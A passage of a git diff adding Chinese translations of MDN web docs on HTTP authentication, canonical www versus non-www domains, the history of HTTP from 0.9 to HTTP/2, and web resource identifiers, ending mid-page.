b/files/zh-cn/web/http/authentication/index.html @@ -0,0 +1,127 @@ +--- +title: HTTP 身份验证 +slug: Web/HTTP/Authentication +tags: + - 指南 + - 访问控制 + - 身份验证 +translation_of: Web/HTTP/Authentication +--- +<div>{{HTTPSidebar}}</div> + +<div></div> + +<p class="summary">HTTP 提供一个用于权限控制和认证的通用框架。最常用的HTTP认证方案是HTTP Basic authentication。本页介绍了通用的HTTP认证框架以及展示如何通过HTTP Basic authentication来限制权限访问您的服务器。</p> + +<h2 id="通用的_HTTP_认证框架">通用的 HTTP 认证框架</h2> + +<p>{{RFC("7235")}} 定义了一个 HTTP 身份验证框架,服务器可以用来针对客户端的请求发送 {{glossary("challenge")}} (质询信息),客户端则可以用来提供身份验证凭证。质询与应答的工作流程如下:服务器端向客户端返回 {{HTTPStatus("401")}}(Unauthorized,未被授权的) 状态码,并在 {{HTTPHeader("WWW-Authenticate")}} 首部提供如何进行验证的信息,其中至少包含有一种质询方式。之后有意向证明自己身份的客户端可以在新的请求中添加 {{HTTPHeader("Authorization")}} 首部字段进行验证,字段值为身份验证凭证信息。通常客户端会弹出一个密码框让用户填写,然后发送包含有恰当的 <code>Authorization</code> 首部的请求。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14689/HTTPAuth.png" style="height: 335px; width: 710px;"></p> + +<p>在上图所示的基本身份验证过程中,信息交换须通过 HTTPS(TLS) 连接来保证安全。</p> + +<h3 id="代理认证">代理认证</h3> + +<p>与上述同样的询问质疑和响应原理使用于代理认证。下面介绍一个中间代理需要认证的例子。资源认证和代理认证可以并存,区别于独立的头信息和响应状态码。代理认证,询问质疑的状态码是 {{HTTPStatus("407")}}(必须提供代理证书),响应头{{HTTPHeader("Proxy-Authenticate")}}至少包含一个可用的质制,并且请求头{{HTTPHeader("Proxy-Authorization")}}用作提供证书给代理服务器。</p> + +<h3 id="访问拒绝">访问拒绝</h3> + +<p>当(代理)服务器收到一个合法认证信息时,若该认证不能获取请求资源的权限,(代理)服务器会返回{{HTTPStatus("403")}}响应状态,说明用户证书权限不够,与 {{HTTPStatus("401")}} 未认证和 {{HTTPStatus("407")}} 未代理认证不同。</p> + +<h3 id="跨域图片认证">跨域图片认证</h3> + +<p>一个被浏览器最近修复了的潜在的安全漏洞是跨域图片的认证。从 <a href="https://developer.mozilla.org/en-US/Firefox/Releases/59">Firefox 59</a> 起,浏览器在加载不同域的图片资源时,将不会再弹出 HTTP 认证对话框({{bug(1423146)}})。如果攻击者可以将任意图片嵌入到第三方页面中,禁止弹出 HTTP 认证对话框可避免用户的身份凭证被窃取。</p> + +<h3 id="HTTP_认证的字符编码">HTTP 认证的字符编码</h3> + +<p>浏览器使用 <code>utf-8</code> 编码用户名和密码。Firefox 曾使用 <code>ISO-8859-1</code>,但为与其他浏览器保持一致改为 <code>utf-8</code>,也为了避免 {{bug(1419658)}} 中所描述的潜在问题。</p> + +<h3 id="WWW-Authenticate_与_Proxy-Authenticate_首部"><code>WWW-Authenticate</code> 与 <code>Proxy-Authenticate</code> 首部</h3> + +<p>{{HTTPHeader("WWW-Authenticate")}} 与 {{HTTPHeader("Proxy-Authenticate")}} 响应消息首部指定了为获取资源访问权限而进行身份验证的方法。它们需要明确要进行验证的方案,这样希望进行授权的客户端就知道该如何提供凭证信息。这两个首部的语法形式如下:</p> + +<pre class="syntaxbox">WWW-Authenticate: <type> realm=<realm> +Proxy-Authenticate: <type> realm=<realm> +</pre> + +<p>在这里,<type> 指的是验证的方案(“基本验证方案”是最常见的验证方案,<a href="/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme">会在下面进行介绍</a>)。realm 用来描述进行保护的区域,或者指代保护的范围。它可以是类似于 "Access to the staging site" 的消息,这样用户就可以知道他们正在试图访问哪一空间。</p> + +<h3 id="Authorization_与_Proxy-Authorization_首部"><code>Authorization</code> 与 <code>Proxy-Authorization</code> 首部</h3> + +<p>{{HTTPHeader("Authorization")}} 与 {{HTTPHeader("Proxy-Authorization")}} 请求消息首部包含有用来向(代理)服务器证明用户代理身份的凭证。这里同样需要指明验证的类型,其后跟有凭证信息,该凭证信息可以被编码或者加密,取决于采用的是哪种验证方案。</p> + +<pre class="syntaxbox">Authorization: <type> <credentials> +Proxy-Authorization: <type> <credentials> +</pre> + +<h3 id="验证方案">验证方案</h3> + +<p>通用 HTTP 身份验证框架可以被多个验证方案使用。不同的验证方案会在安全强度以及在客户端或服务器端软件中可获得的难易程度上有所不同。</p> + +<p>最常见的验证方案是“基本验证方案”("Basic"),该方案会在下面进行详细阐述。 IANA 维护了<a class="external external-icon" href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">一系列的验证方案</a>,除此之外还有其他类型的验证方案由虚拟主机服务提供,例如 Amazon AWS 。常见的验证方案包括:</p> + +<ul> + <li><strong>Basic</strong> (查看 {{rfc(7617)}}, base64编码凭证. 详情请参阅下文.),</li> + <li><strong>Bearer</strong> (查看 {{rfc(6750)}}, bearer 令牌通过OAuth 2.0保护资源),</li> + <li><strong>Digest</strong> (查看 {{rfc(7616)}}, 只有 md5 散列 在Firefox中支持, 查看 {{bug(472823)}} 用于SHA加密支持),</li> + <li><strong>HOBA</strong> (查看 {{rfc(7486)}} (草案), <strong>H</strong>TTP <strong>O</strong>rigin-<strong>B</strong>ound 认证, 基于数字签名),</li> + <li><strong>Mutual</strong> (查看 <a href="https://tools.ietf.org/html/draft-ietf-httpauth-mutual-11">draft-ietf-httpauth-mutual</a>),</li> + <li> + <p><strong>AWS4-HMAC-SHA256</strong> (查看 <a href="http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html">AWS docs</a>).</p> + </li> +</ul> + +<h2 id="基本验证方案">基本验证方案</h2> + +<p>"Basic" HTTP 验证方案是在 {{rfc(7617)}}中规定的,在该方案中,使用用户的 ID/密码作为凭证信息,并且使用 base64 算法进行编码。</p> + +<h3 id="基本验证方案的安全性">基本验证方案的安全性</h3> + +<p>由于用户 ID 与密码是是以明文的形式在网络中进行传输的(尽管采用了 base64 编码,但是 base64 算法是可逆的),所以基本验证方案并不安全。基本验证方案应与 HTTPS / TLS 协议搭配使用。假如没有这些安全方面的增强,那么基本验证方案不应该被来用保护敏感或者极具价值的信息。</p> + +<h3 id="使用Apache限制访问和基本身份验证">使用Apache限制访问和基本身份验证</h3> + +<p>要对Apache服务器上的目录进行密码保护, 你需要一个 <code>.htaccess</code> 和 a <code>.htpasswd</code> 文件.</p> + +<p>该 <code>.htaccess</code> 文件格式通常看起来像这样:</p> + +<pre>AuthType Basic +AuthName "Access to the staging site" +AuthUserFile /path/to/.htpasswd +Require valid-user</pre> + +<p>该 <code>.htaccess</code> 文件引用一个 <code>.htpasswd</code> 文件,其中每行用冒号(“:”)分隔的用户名和密码. 你不能看到真实的密码因为它们是 <a href="https://httpd.apache.org/docs/2.4/misc/password_encryptions.html">encrypted</a> (在这个例子中是使用了 MD5). 你可以命名<code>.htpasswd</code> 文件 为你所喜欢的名字, 但是应该保证这个文件不被其他人访问. (Apache通常配置阻止访问 <code>.ht*</code> 类的文件).</p> + +<pre>aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz. +user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/ +</pre> + +<h3 id="nginx访问限制和基本认证">nginx访问限制和基本认证</h3> + +<p>在nginx配置中,对需要保护的location你需要做如下配置:<code>auth_basic指令提供密码保护域的名称;auth_basic_user_file指令指定包含用户密文的证书的文件(与apache例子中一致)</code></p> + +<p>在 nginx 中, 你需要指定一个保护区域和该 <code>auth_basic</code> 指令提供的保护区域名字. 然后该 <code>auth_basic_user_file</code> 指令指向一个<code>.htpasswd</code> 包含加密用户凭据的文件, 就像上面的 apache 例子.</p> + +<pre>location /status { + auth_basic "Access to the staging site"; + auth_basic_user_file /etc/apache2/.htpasswd; +}</pre> + +<h3 id="使用_URL_中的身份凭证进行的访问(已废弃)">使用 URL 中的身份凭证进行的访问(<s>已废弃</s>)</h3> + +<p>许多客户端同时支持避免弹出登录框,而是使用包含用户名和密码的经过编码的 URL,如下所示:</p> + +<pre class="example-bad">https://username:password@www.example.com/</pre> + +<p><strong>这种 URL 是不赞成使用的。</strong>在 Chrome 中, URL 中的 username:password@ 部分甚至会因为安全原因而被移除。Firefox 则会检查该站点是否真的需要身份验证,假如不是,则会弹出一个警告窗口:你即将使用用户名 “username” 登录 ”www.example.com“ 站点,但是该站点不需要进行身份验证。这可能是在试图进行欺诈。</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("WWW-Authenticate")}}</li> + <li>{{HTTPHeader("Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authenticate")}}</li> + <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li> +</ul> diff --git a/files/zh-cn/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.html b/files/zh-cn/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.html new file mode 100644 index 0000000000..1fb0c7c559 --- /dev/null +++ b/files/zh-cn/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.html @@ -0,0 +1,69 @@ +--- +title: 选择 www 或非 www URL 作为域名 +slug: Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs +tags: + - Guide + - HTTP + - URL +translation_of: Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs +--- +<p>{{HTTPSidebar}}</p> + +<p class="summary">网站所有者经常会问的一个问题是选择非 www 的还是 www 的网址。本文提供了选择建议。</p> + +<h2 id="什么是域名?">什么是域名?</h2> + +<p>在一个 HTTP 网址中,在初始 <code>http://</code> 或 <code>https://</code> 后的第一个子字符串称为域。它是文档所在的服务器的名称。</p> + +<p>一个服务器不一定是一个独立的物理机:几台服务器可以驻留在同一台物理机器上,或者一台服务器可以通过几台机器进行处理,协作处理并响应或负载均衡它们之间的请求。关键点在于语义上<strong>一个域名代表一个单独的服务器</strong>。</p> + +<h2 id="所以,我只能选择其中一个做为我的网站的网址?">所以,我只能选择其中一个做为我的网站的网址?</h2> + +<ul> + <li><u>是的</u>,你必须选择其中之一,且一直使用。选择使用其中哪一个取决于你,当你选择完之后,就要保持下去。这样,无论是对用户,还是对搜索引擎,你的网站能保持更好的一致性。这包括始终链接到所选域名(如果你在网站中使用相对网址,则不应该很难),也可以始终将链接(通过电子邮件/社交网络等)共享使用同一个域名。</li> + <li><u>不</u>,你可以有两个。重要的是,你需是保持的那一个官方的域名,<strong>这个官方域名被称为<em>规范</em>名称</strong>。你所有的绝对链接应该使用它。但即便如此,你仍然可以有其他域名使用:HTTP允许使用两种技术,以便它在使用规范域名的同时还允许非规范域名使用,使使用者或搜索引擎可以准确的访问到所预期的页面。</li> +</ul> + +<p>所以,选择其中一个作为你的域名的规范地址!下面有两种技术允许不规范的域名仍然起作用。</p> + +<h2 id="规范网址方式">规范网址方式</h2> + +<p>选择下面有两种不同的方式使网站<em>规范</em>。</p> + +<h3 id="使用_HTTP_301_重定向">使用 HTTP 301 重定向</h3> + +<p>在这种情况下,你需要配置服务器接收的HTTP请求( 常见为 www 和非 www 网址相同)以及适当的HTTP响应 {{HTTPStatus(301)}} 去响应所有非规范的域名请求。这会将尝试使访问非规范网址的浏览器重定向到其规范的等效网址。举例来说,如果您选择使用非 www 网址为规范类型,你的所有 www 网址都应该被重定向到对应的非 www 网址上。</p> + +<p>例如:</p> + +<ol> + <li>服务器收到 http://www.example.org/whaddup 请求(当规范域名是 example.org 时)</li> + <li>服务器则以代码 {{HTTPStatus(301)}} 与头 {{HTTPHeader("Location")}} :<code>http://example.org/whaddup</code></li> + <li>该客户端发出的规范的域名请求:http://example.org/whaddup</li> +</ol> + +<p><a href="https://github.com/h5bp/html5-boilerplate"> HTML5 boilerplate project</a> 有一个示例 <a href="https://github.com/h5bp/html5-boilerplate/blob/7a22a33d4041c479d0962499e853501073811887/.htaccess#L219-L258">how to configure an Apache server to redirect one domain to the other</a>。</p> + +<h3 id="使用_<link_relcanonical>">使用 <em><code><link rel="canonical"></code></em></h3> + +<p>它可以将一个特殊的 HTML {{HTMLElement("link")}} 元素添加到网页指示什么网页的标准地址,这对页面的访问者没有影响,但在搜索引擎检索时会告诉搜索引擎当页面实际的地址。通过这种方式,搜索引擎不需要索引同一页面多次,那样可能导致它被视为重复的内容或垃圾邮件,甚至从搜索引擎结果中删除或者降低你的页面显示排名。</p> + +<p>当加入这样一个标签,会告诉搜索引擎,你提供相同内容的两个域名那一个是规范的。以前面的例子为例,http://www.example.org/whaddup 将提供与 http://example.org/whaddup 相同的内容,但有一个附加的 {{HTMLElement("link")}} 头部元素:</p> + +<p><code><link href="http://example.org/whaddup" rel="canonical"></code></p> + +<p>不同于以往,浏览器历史记录将考虑非 www 和 www 的网址作为独立的条目。</p> + +<h2 id="使你页面都有效">使你页面都有效</h2> + +<p>有了这些技术,你可以配置服务器对www前缀和非www前缀的域名进行正确的响应,如果你无法预测用户会在浏览器地址栏使用哪个URL,你需要做的就是选择一个作为你的规范地址,然后重定向另一个。</p> + +<h2 id="根据情况决定">根据情况决定</h2> + +<p class="entry-title">可以认为这是一个非常主观 <a href="http://bikeshed.com/">bikeshedding</a> 问题。 如果你想更深入的阅读,请参阅 <a href="http://www.hyperarts.com/blog/www-vs-non-www-for-your-canonical-domain-url-which-is-best-and-why/">WWW vs non-WWW for your Canonical Domain URL – Which is Best and Why?</a> ,它可能提出进一步的见解。</p> + +<h2 id="相关链接">相关链接</h2> + +<ul> + <li><a href="http://www.chrisfinke.com/2011/07/25/what-do-people-type-in-the-address-bar/">Stats on what people type in the URL bar</a> (2011) </li> +</ul> diff --git a/files/zh-cn/web/http/basics_of_http/evolution_of_http/index.html b/files/zh-cn/web/http/basics_of_http/evolution_of_http/index.html new file mode 100644 index 0000000000..8b35e66cfa --- /dev/null +++ b/files/zh-cn/web/http/basics_of_http/evolution_of_http/index.html @@ -0,0 +1,200 @@ +--- +title: HTTP的发展 +slug: Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP +tags: + - Guide + - HTTP +translation_of: Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP +--- +<p>{{HTTPSidebar}}</p> + +<p><strong>HTTP(</strong>HyperText Transfer Protocol)是万维网(World Wide Web)的基础协议。自 Tim Berners-Lee 博士和他的团队在1989-1991年间创造出它以来,HTTP已经发生了太多的变化,在保持协议简单性的同时,不断扩展其灵活性。如今,HTTP已经从一个只在实验室之间交换文件的早期协议进化到了可以传输图片,高分辨率视频和3D效果的现代复杂互联网协议。</p> + +<h2 id="万维网的发明">万维网的发明</h2> + +<p>1989年, 当时在 CERN 工作的 Tim Berners-Lee 博士写了一份关于建立一个通过网络传输超文本系统的报告。这个系统起初被命名为 <em>Mesh</em>,在随后的1990年项目实施期间被更名为万维网(<em>World Wide Web)。</em>它在现有的TCP和IP协议基础之上建立,由四个部分组成:</p> + +<ul> + <li>一个用来表示超文本文档的文本格式,<em><a href="/en-US/docs/Web/HTML">超文本标记语言</a></em>(HTML)。</li> + <li>一个用来交换超文本文档的简单协议,超文本传输协议(HTTP)。</li> + <li>一个显示(以及编辑)超文本文档的客户端,即网络浏览器。第一个网络浏览器被称为 <em>WorldWideWeb。</em></li> + <li>一个服务器用于提供可访问的文档,即 <em>httpd </em>的前身。</li> +</ul> + +<p>这四个部分完成于1990年底,且第一批服务器已经在1991年初在CERN以外的地方运行了。 1991年8月16日,Tim Berners-Lee 在公开的超文本新闻组上发表的文章被视为是万维网公共项目的开始。</p> + +<p>HTTP在应用的早期阶段非常简单,后来被称为HTTP/0.9,有时也叫做单行(one-line)协议。</p> + +<h2 id="HTTP0.9_–_单行协议">HTTP/0.9 – 单行协议</h2> + +<p>最初版本的HTTP协议并没有版本号,后来它的版本号被定位在 0.9 以区分后来的版本。 HTTP/0.9 极其简单:请求由单行指令构成,以唯一可用方法{{HTTPMethod("GET")}}开头,其后跟目标资源的路径(一旦连接到服务器,协议、服务器、端口号这些都不是必须的)。</p> + +<pre>GET /mypage.html</pre> + +<p>响应也极其简单的:只包含响应文档本身。</p> + +<pre><HTML> +这是一个非常简单的HTML页面 +</HTML></pre> + +<p>跟后来的版本不同,HTTP/0.9 的响应内容并不包含HTTP头,这意味着只有HTML文件可以传送,无法传输其他类型的文件;也没有状态码或错误代码:一旦出现问题,一个特殊的包含问题描述信息的HTML文件将被发回,供人们查看。</p> + +<h2 id="HTTP1.0_–_构建可扩展性">HTTP/1.0 – 构建可扩展性</h2> + +<p>由于 HTTP/0.9 协议的应用十分有限,浏览器和服务器迅速扩展内容使其用途更广:</p> + +<ul> + <li>协议版本信息现在会随着每个请求发送(<code>HTTP/1.0</code>被追加到了<code>GET</code>行)。</li> + <li>状态码会在响应开始时发送,使浏览器能了解请求执行成功或失败,并相应调整行为(如更新或使用本地缓存)。</li> + <li>引入了HTTP头的概念,无论是对于请求还是响应,允许传输元数据,使协议变得非常灵活,更具扩展性。</li> + <li>在新HTTP头的帮助下,具备了传输除纯文本HTML文件以外其他类型文档的能力(感谢{{HTTPHeader("Content-Type")}}头)。</li> +</ul> + +<p>一个典型的请求看起来就像这样:</p> + +<pre>GET /mypage.html HTTP/1.0 +User-Agent: NCSA_Mosaic/2.0 (Windows 3.1) + +200 OK +Date: Tue, 15 Nov 1994 08:12:31 GMT +Server: CERN/3.0 libwww/2.17 +Content-Type: text/html +<HTML> +一个包含图片的页面 + <IMG SRC="/myimage.gif"> +</HTML></pre> + +<p>接下来是第二个连接,请求获取图片:</p> + +<pre>GET /myimage.gif HTTP/1.0 +User-Agent: NCSA_Mosaic/2.0 (Windows 3.1) + +200 OK +Date: Tue, 15 Nov 1994 08:12:32 GMT +Server: CERN/3.0 libwww/2.17 +Content-Type: text/gif +<em>(这里是图片内容)</em></pre> + +<p>在1991-1995年,这些新扩展并没有被引入到标准中以促进协助工作,而仅仅作为一种尝试:服务器和浏览器添加这些新扩展功能,但出现了大量的互操作问题。直到1996年11月,为了解决这些问题,一份新文档(RFC 1945)被发表出来,用以描述如何操作实践这些新扩展功能。文档 RFC 1945 定义了 HTTP/1.0,但它是狭义的,并不是官方标准。</p> + +<h2 id="HTTP1.1_–_标准化的协议">HTTP/1.1 – 标准化的协议</h2> + +<p>HTTP/1.0 多种不同的实现方式在实际运用中显得有些混乱,自1995年开始,即HTTP/1.0文档发布的下一年,就开始修订HTTP的第一个标准化版本。在1997年初,HTTP1.1 标准发布,就在HTTP/1.0 发布的几个月后。</p> + +<p>HTTP/1.1 消除了大量歧义内容并引入了多项改进:</p> + +<ul> + <li>连接可以复用,节省了多次打开TCP连接加载网页文档资源的时间。</li> + <li>增加管线化技术,允许在第一个应答被完全发送之前就发送第二个请求,以降低通信延迟。</li> + <li>支持响应分块。</li> + <li>引入额外的缓存控制机制。</li> + <li>引入内容协商机制,包括语言,编码,类型等,并允许客户端和服务器之间约定以最合适的内容进行交换。</li> + <li>感谢{{HTTPHeader("Host")}}头,能够使不同域名配置在同一个IP地址的服务器上。</li> +</ul> + +<p>一个典型的请求流程, 所有请求都通过一个连接实现,看起来就像这样:</p> + +<pre>GET /en-US/docs/Glossary/Simple_header HTTP/1.1 +Host: developer.mozilla.org +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate, br +Referer: https://developer.mozilla.org/en-US/docs/Glossary/Simple_header + +200 OK +Connection: Keep-Alive +Content-Encoding: gzip +Content-Type: text/html; charset=utf-8 +Date: Wed, 20 Jul 2016 10:55:30 GMT +Etag: "547fa7e369ef56031dd3bff2ace9fc0832eb251a" +Keep-Alive: timeout=5, max=1000 +Last-Modified: Tue, 19 Jul 2016 00:59:33 GMT +Server: Apache +Transfer-Encoding: chunked +Vary: Cookie, Accept-Encoding + +<em>(content)</em> + + +GET /static/img/header-background.png HTTP/1.1 +Host: developer.cdn.mozilla.net +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0 +Accept: */* +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate, br +Referer: https://developer.mozilla.org/en-US/docs/Glossary/Simple_header + +200 OK +Age: 9578461 +Cache-Control: public, max-age=315360000 +Connection: keep-alive +Content-Length: 3077 +Content-Type: image/png +Date: Thu, 31 Mar 2016 13:34:46 GMT +Last-Modified: Wed, 21 Oct 2015 18:27:50 GMT +Server: Apache + +<em>(image content of 3077 bytes)</em></pre> + +<p>HTTP/1.1 在1997年1月以 {{rfc(2068)}} 文件发布。</p> + +<h2 id="超过15年的扩展">超过15年的扩展</h2> + +<p>由于HTTP协议的可扩展性 – 创建新的头部和方法是很容易的 – 即使HTTP/1.1协议进行过两次修订,{{RFC("2616")}} 发布于1999年6月,而另外两个文档 {{RFC("7230")}}-{{RFC("7235")}} 发布于2014年6月,作为HTTP/2的预览版本。HTTP协议已经稳定使用超过15年了。</p> + +<h3 id="HTTP_用于安全传输">HTTP 用于安全传输</h3> + +<p>HTTP最大的变化发生在1994年底。HTTP在基本的TCP/IP协议栈上发送信息,网景公司(Netscape Communication)在此基础上创建了一个额外的加密传输层:SSL 。SSL 1.0没有在公司以外发布过,但SSL 2.0及其后继者SSL 3.0和SSL 3.1允许通过加密来保证服务器和客户端之间交换消息的真实性,来创建电子商务网站。SSL在标准化道路上最终成为TLS,随着版本1.0, 1.1, 1.2的出现成功地关闭漏洞。TLS 1.3 目前正在形成。</p> + +<p>与此同时,人们对一个加密传输层的需求也愈发高涨:因为 Web 最早几乎是一个学术网络,相对信任度很高,但如今不得不面对一个险恶的丛林:广告客户、随机的个人或者犯罪分子争相劫取个人信息,将信息占为己有,甚至改动将要被传输的数据。随着通过HTTP构建的应用程序变得越来越强大,可以访问越来越多的私人信息,如地址簿,电子邮件或用户的地理位置,即使在电子商务使用之外,对TLS的需求也变得普遍。</p> + +<h3 id="HTTP_用于复杂应用">HTTP 用于复杂应用</h3> + +<p>Tim Berners-Lee 对于 Web 的最初设想不是一个只读媒体。 他设想一个 Web 是可以远程添加或移动文档,是一种分布式文件系统。 大约 1996 年,HTTP 被扩展到允许创作,并且创建了一个名为 WebDAV 的标准。 它进一步扩展了某些特定的应用程序,如 CardDAV 用来处理地址簿条目,CalDAV 用来处理日历。 但所有这些 *DAV 扩展有一个缺陷:它们必须由要使用的服务器来实现,这是非常复杂的。并且他们在网络领域的使用必须保密。</p> + +<p>在 2000 年,一种新的使用 HTTP 的模式被设计出来:{{glossary("REST", "representational state transfer")}} (或者说 REST)。 由 API 发起的操作不再通过新的 HTTP 方法传达,而只能通过使用基本的 HTTP / 1.1 方法访问特定的 URI。 这允许任何 Web 应用程序通过提供 API 以允许查看和修改其数据,而无需更新浏览器或服务器:all what is needed was embedded in the files served by the Web sites through standard HTTP/1.1。 REST 模型的缺点在于每个网站都定义了自己的非标准 RESTful API,并对其进行了全面的控制;不同于 *DAV 扩展,客户端和服务器是可互操作的。 RESTful API 在 2010 年变得非常流行。</p> + +<p>自 2005 年以来,可用于 Web 页面的 API 大大增加,其中几个 API 为特定目的扩展了 HTTP 协议,大部分是新的特定 HTTP 头:</p> + +<ul> + <li><a href="/en-US/docs/Web/API/Server-sent_events">Server-sent events</a>,服务器可以偶尔推送消息到浏览器。</li> + <li><a href="/en-US/docs/Web/API/WebSocket_API">WebSocket</a>,一个新协议,可以通过升级现有 HTTP 协议来建立。</li> +</ul> + +<h3 id="放松Web的安全模型">放松Web的安全模型</h3> + +<p>HTTP和Web安全模型--<a href="/en-US/docs/Web/Security/Same-origin_policy">同源策略</a>是互不相关的。事实上,当前的Web安全模型是在HTTP被创造出来后才被发展的!这些年来,已经证实了它如果能通过在特定的约束下移除一些这个策略的限制来管的宽松些的话,将会更有用。这些策略导致大量的成本和时间被花费在通过转交到服务端来添加一些新的HTTP头来发送。这些被定义在了<a href="/en-US/docs/Glossary/CORS">Cross-Origin Resource Sharing</a> (CORS) or the <a href="/en-US/docs/Web/Security/CSP">Content Security Policy</a> (CSP)规范里。</p> + +<p>不只是这大量的扩展,很多的其他的头也被加了进来,有些只是实验性的。比较著名的有Do Not Track ({{HTTPHeader("DNT")}}) 来控制隐私,{{HTTPHeader("X-Frame-Options")}}, 还有很多。</p> + +<h2 id="HTTP2_-_为了更优异的表现">HTTP/2 - 为了更优异的表现</h2> + +<p>这些年来,网页愈渐变得的复杂,甚至演变成了独有的应用,可见媒体的播放量,增进交互的脚本大小也增加了许多:更多的数据通过HTTP请求被传输。HTTP/1.1链接需要请求以正确的顺序发送,理论上可以用一些并行的链接(尤其是5到8个),带来的成本和复杂性堪忧。比如,HTTP管线化(pipelining)就成为了Web开发的负担。</p> + +<p>在2010年到2015年,谷歌通过实践了一个实验性的SPDY协议,证明了一个在客户端和服务器端交换数据的另类方式。其收集了浏览器和服务器端的开发者的焦点问题。明确了响应数量的增加和解决复杂的数据传输,SPDY成为了HTTP/2协议的基础。</p> + +<p>HTTP/2在HTTP/1.1有几处基本的不同:</p> + +<ul> + <li>HTTP/2是二进制协议而不是文本协议。不再可读,也不可无障碍的手动创建,改善的优化技术现在可被实施。</li> + <li>这是一个复用协议。并行的请求能在同一个链接中处理,移除了HTTP/1.x中顺序和阻塞的约束。</li> + <li>压缩了headers。因为headers在一系列请求中常常是相似的,其移除了重复和传输重复数据的成本。</li> + <li>其允许服务器在客户端缓存中填充数据,通过一个叫服务器推送的机制来提前请求。</li> +</ul> + +<p>在2015年5月正式标准化后,HTTP/2取得了极大的成功,在2016年7月前,8.7%的站点已经在使用它,代表超过68%的请求<sup><a href="https://www.keycdn.com/blog/http2-statistics/">[2]</a></sup> 。高流量的站点最迅速的普及,在数据传输上节省了可观的成本和支出。</p> + +<p>这种迅速的普及率很可能是因为HTTP2不需要站点和应用做出改变:使用HTTP/1.1和HTTP/2对他们来说是透明的。拥有一个最新的服务器和新点的浏览器进行交互就足够了。只有一小部分群体需要做出改变,而且随着陈旧的浏览器和服务器的更新,而不需Web开发者做什么,用的人自然就增加了。</p> + +<h2 id="后HTTP2进化">后HTTP/2进化</h2> + +<p>随着HTTP/2.的发布,就像先前的HTTP/1.x一样,HTTP没有停止进化,HTTP的扩展性依然被用来添加新的功能。特别的,我们能列举出2016年里HTTP的新扩展:</p> + +<ul> + <li>对Alt-Svc的支持允许了给定资源的位置和资源鉴定,允许了更智能的CDN缓冲机制。</li> + <li>{{HTTPHeader("Client-Hints")}} 的引入允许浏览器或者客户端来主动交流它的需求,或者是硬件约束的信息给服务端。</li> + <li>在Cookie头中引入安全相关的的前缀,现在帮助保证一个安全的cookie没被更改过。</li> +</ul> + +<p>HTTP的进化证实了它良好的扩展性和简易性,释放了很多应用程序的创造力并且情愿使用这个协议。今天的HTTP的使用环境已经于早期1990年代大不相同。HTTP的原先的设计不负杰作之名,允许了Web在25年间和平稳健得发展。修复漏洞,同时却也保留了使HTTP如此成功的灵活性和扩展性,HTTP/2的普及也预示着这个协议的大好前程。</p> diff --git a/files/zh-cn/web/http/basics_of_http/identifying_resources_on_the_web/index.html b/files/zh-cn/web/http/basics_of_http/identifying_resources_on_the_web/index.html new file mode 100644 index 0000000000..6589b29eb7 --- /dev/null +++ b/files/zh-cn/web/http/basics_of_http/identifying_resources_on_the_web/index.html @@ -0,0 +1,170 @@ +--- +title: 标识互联网上的内容 +slug: Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web +tags: + - HTTP + - URI +translation_of: Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary">HTTP 请求的内容通称为"资源"。”资源“这一概念非常宽泛,它可以是一份文档,一张图片,或所有其他你能够想到的格式。每个资源都由一个 ({{Glossary("URI")}}) 来进行标识。</p> + +<p>一般情况下,资源的名称和位置由同一个 URL(统一资源定位符,它是 URI 的一种)来标识。也有某些特殊情况,资源的名称和位置由不同的 URI 进行标识:例如,待请求的资源希望客户端从另外一个位置访问它。我们可以使用一个特定的首部字段,{{HTTPHeader("Alt-Svc")}},来指示这种情况。</p> + +<h2 id="URLs_与_URNs">URLs 与 URNs</h2> + +<h3 id="URLs">URLs</h3> + +<p>URI 的最常见形式是统一资源定位符 ({{Glossary("URL")}}),它也被称为 <em>Web 地址</em>。</p> + +<pre>https://developer.mozilla.org +https://developer.mozilla.org/en-US/docs/Learn/ +https://developer.mozilla.org/en-US/search?q=URL</pre> + +<p>在浏览器的地址栏中输入上述任一地址,浏览器就会加载相应的网页(资源)。</p> + +<p>URL 由多个必须或可选的组件构成。下面给出了一个复杂的 URL:</p> + +<pre>http://www.example.com:80/path/to/myfile.html?key1=value1&key2=value2#SomewhereInTheDocument</pre> + +<h3 id="URNs">URNs</h3> + +<p>URN 是另一种形式的 URI,它通过特定命名空间中的唯一名称来标识资源。</p> + +<pre>urn:isbn:9780141036144 +urn:ietf:rfc:7230 +</pre> + +<p>上面两个 URN 标识了下面的资源:</p> + +<ul> + <li>乔治·奥威尔所著的《1984》</li> + <li>IETF规范7230,超文本传输协议 (HTTP/1.1):Message Syntax and Routing.</li> +</ul> + +<h2 id="统一资源标识符的语法_(URI)">统一资源标识符的语法 (URI)</h2> + +<h3 id="方案或协议">方案或协议</h3> + +<dl> + <dt><img alt="Protocol" src="https://mdn.mozillademos.org/files/8013/mdn-url-protocol@x2.png" style="height: 70px; width: 440px;"></dt> + <dd><code>http://</code>告诉浏览器使用何种协议。对于大部分 Web 资源,通常使用 HTTP 协议或其安全版本,HTTPS 